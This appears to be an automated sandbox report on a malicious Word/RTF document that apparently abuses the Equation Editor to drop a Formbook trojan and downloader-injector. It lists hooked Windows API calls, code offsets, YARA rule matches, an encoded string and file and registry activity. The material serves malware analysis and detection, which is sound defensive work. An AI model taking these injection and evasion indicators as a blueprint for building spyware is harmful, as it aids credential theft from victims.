Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040BFD3 NtAllocateVirtualMemory,	6_2_0040BFD3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA07AC NtCreateMutant,LdrInitializeThunk,	6_2_00DA07AC
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9F9F0 NtClose,LdrInitializeThunk,	6_2_00D9F9F0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FAE8 NtQueryInformationProcess,LdrInitializeThunk,	6_2_00D9FAE8
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FB68 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_00D9FB68
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FDC0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_00D9FDC0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA00C4 NtCreateFile,	6_2_00DA00C4
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA0048 NtProtectVirtualMemory,	6_2_00DA0048
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA0078 NtResumeThread,	6_2_00DA0078
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA0060 NtQuerySection,	6_2_00DA0060
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA01D4 NtSetValueKey,	6_2_00DA01D4
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA010C NtOpenDirectoryObject,	6_2_00DA010C
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA0C40 NtGetContextThread,	6_2_00DA0C40
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA10D0 NtOpenProcessToken,	6_2_00DA10D0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA1148 NtOpenThread,	6_2_00DA1148
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9F8CC NtWaitForSingleObject,	6_2_00D9F8CC
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9F900 NtReadFile,	6_2_00D9F900
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9F938 NtWriteFile,	6_2_00D9F938
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA1930 NtSetContextThread,	6_2_00DA1930
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FAD0 NtAllocateVirtualMemory,	6_2_00D9FAD0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FAB8 NtQueryValueKey,	6_2_00D9FAB8
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FA50 NtEnumerateValueKey,	6_2_00D9FA50
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FA20 NtQueryInformationFile,	6_2_00D9FA20
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FBE8 NtQueryVirtualMemory,	6_2_00D9FBE8
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FBB8 NtQueryInformationToken,	6_2_00D9FBB8
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FB50 NtCreateKey,	6_2_00D9FB50
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FC90 NtUnmapViewOfSection,	6_2_00D9FC90
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FC48 NtSetInformationFile,	6_2_00D9FC48
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FC60 NtMapViewOfSection,	6_2_00D9FC60
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FC30 NtOpenProcess,	6_2_00D9FC30
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FD8C NtDelayExecution,	6_2_00D9FD8C
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DA1D80 NtSuspendThread,	6_2_00DA1D80
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FD5C NtEnumerateKey,	6_2_00D9FD5C
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FED0 NtAdjustPrivilegesToken,	6_2_00D9FED0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FEA0 NtReadVirtualMemory,	6_2_00D9FEA0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FE24 NtWriteVirtualMemory,	6_2_00D9FE24
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FFFC NtCreateProcessEx,	6_2_00D9FFFC
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FFB4 NtCreateSection,	6_2_00D9FFB4
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D9FF34 NtQueueApcThread,	6_2_00D9FF34

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 5_2_00304090	5_2_00304090
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00402884	6_2_00402884
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00402890	6_2_00402890
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0042E2F3	6_2_0042E2F3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_004012B0	6_2_004012B0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_004033D0	6_2_004033D0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00417BEE	6_2_00417BEE
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00417BF3	6_2_00417BF3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00411443	6_2_00411443
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0041143A	6_2_0041143A
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_004034D0	6_2_004034D0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_004025C0	6_2_004025C0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_004025F9	6_2_004025F9
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00401580	6_2_00401580
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_004025B3	6_2_004025B3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00411663	6_2_00411663
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00402ED0	6_2_00402ED0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_0040F6E3	6_2_0040F6E3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00402709	6_2_00402709
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DAE0C6	6_2_00DAE0C6
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DAE2E9	6_2_00DAE2E9
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DD63DB	6_2_00DD63DB
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E563BF	6_2_00E563BF
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DFA37B	6_2_00DFA37B
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DB2305	6_2_00DB2305
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E3443E	6_2_00E3443E
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E305E3	6_2_00E305E3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DCC5F0	6_2_00DCC5F0
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DF6540	6_2_00DF6540
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DBE6C1	6_2_00DBE6C1
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DB4680	6_2_00DB4680
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E52622	6_2_00E52622
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DFA634	6_2_00DFA634
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DBC7BC	6_2_00DBC7BC
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DBC85C	6_2_00DBC85C
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DD286D	6_2_00DD286D
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E449F5	6_2_00E449F5
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DC69FE	6_2_00DC69FE
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DB29B2	6_2_00DB29B2
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E5098E	6_2_00E5098E
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DFC920	6_2_00DFC920
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E36BCB	6_2_00E36BCB
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E5CBA4	6_2_00E5CBA4
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E52C9C	6_2_00E52C9C
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E3AC5E	6_2_00E3AC5E
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DBCD5B	6_2_00DBCD5B
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DE0D3B	6_2_00DE0D3B
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DCEE4C	6_2_00DCEE4C
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DE2E2F	6_2_00DE2E2F
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E22FDC	6_2_00E22FDC
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E4CFB1	6_2_00E4CFB1
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DC0F3F	6_2_00DC0F3F
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DC905A	6_2_00DC905A
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E2D06D	6_2_00E2D06D
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DB3040	6_2_00DB3040
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DDD005	6_2_00DDD005
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E3D13F	6_2_00E3D13F
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E51238	6_2_00E51238
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DAF3CF	6_2_00DAF3CF
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DB7353	6_2_00DB7353
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DC1489	6_2_00DC1489
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DE5485	6_2_00DE5485
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DED47D	6_2_00DED47D
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E535DA	6_2_00E535DA
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DB351F	6_2_00DB351F
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DE57C3	6_2_00DE57C3
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E3579A	6_2_00E3579A
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E4771D	6_2_00E4771D
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E4F8EE	6_2_00E4F8EE
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E2F8C4	6_2_00E2F8C4
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E3394B	6_2_00E3394B
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E35955	6_2_00E35955
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E63A83	6_2_00E63A83
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DAFBD7	6_2_00DAFBD7
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E3DBDA	6_2_00E3DBDA
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DD7B00	6_2_00DD7B00
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E4FDDD	6_2_00E4FDDD
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DDDF7C	6_2_00DDDF7C
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00E3BF14	6_2_00E3BF14
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CC58A8	7_2_00CC58A8
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CC3928	7_2_00CC3928
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CE2538	7_2_00CE2538
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CC5688	7_2_00CC5688
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CC567F	7_2_00CC567F
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CCBE38	7_2_00CCBE38
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Code function: 7_2_00CCBE33	7_2_00CCBE33
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E88C84	8_2_61E88C84
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E43318	8_2_61E43318
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E2F275	8_2_61E2F275
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E3C53C	8_2_61E3C53C
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E24442	8_2_61E24442
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E6F79E	8_2_61E6F79E
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E286E1	8_2_61E286E1
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E1B9F9	8_2_61E1B9F9
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E4E99B	8_2_61E4E99B
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E3DACD	8_2_61E3DACD
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E51DF8	8_2_61E51DF8
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E42DAC	8_2_61E42DAC
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E4FCBB	8_2_61E4FCBB
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E15C60	8_2_61E15C60
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E1FFB1	8_2_61E1FFB1

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: String function: 00DF373B appears 253 times
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: String function: 00DF3F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: String function: 00DAE2A8 appears 60 times
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: String function: 00DADF5C appears 137 times
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: String function: 00E1F970 appears 84 times

Source: sqlite3.dll.8.dr

Static PE information: Number of sections : 18 > 10

Source: C:\Windows\SysWOW64\dfrgui.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Jump to behavior

Source: Doc PI.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 6.2.loud89334.scr.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 6.2.loud89334.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 5.2.loud89334.scr.4c80000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.loud89334.scr.341a370.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.loud89334.scr.4c80000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.loud89334.scr.23f79d0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.loud89334.scr.23fa210.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 5.2.loud89334.scr.341a370.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 00000008.00000002.635052346.0000000000250000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.634933640.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.479085527.0000000002AB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.407188357.0000000000190000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.370449287.0000000004C80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLInjector02 author = ditekSHen, description = Detects downloader injector
Source: 0000000C.00000002.635242428.0000000000A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.634993133.0000000000150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.407506842.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: 5.2.loud89334.scr.4c80000.5.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.loud89334.scr.341a370.4.raw.unpack, DarkListView.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.loud89334.scr.4c80000.5.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'
Source: 5.2.loud89334.scr.341a370.4.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@11/16@13/8

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$Doc PI.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6FC2.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
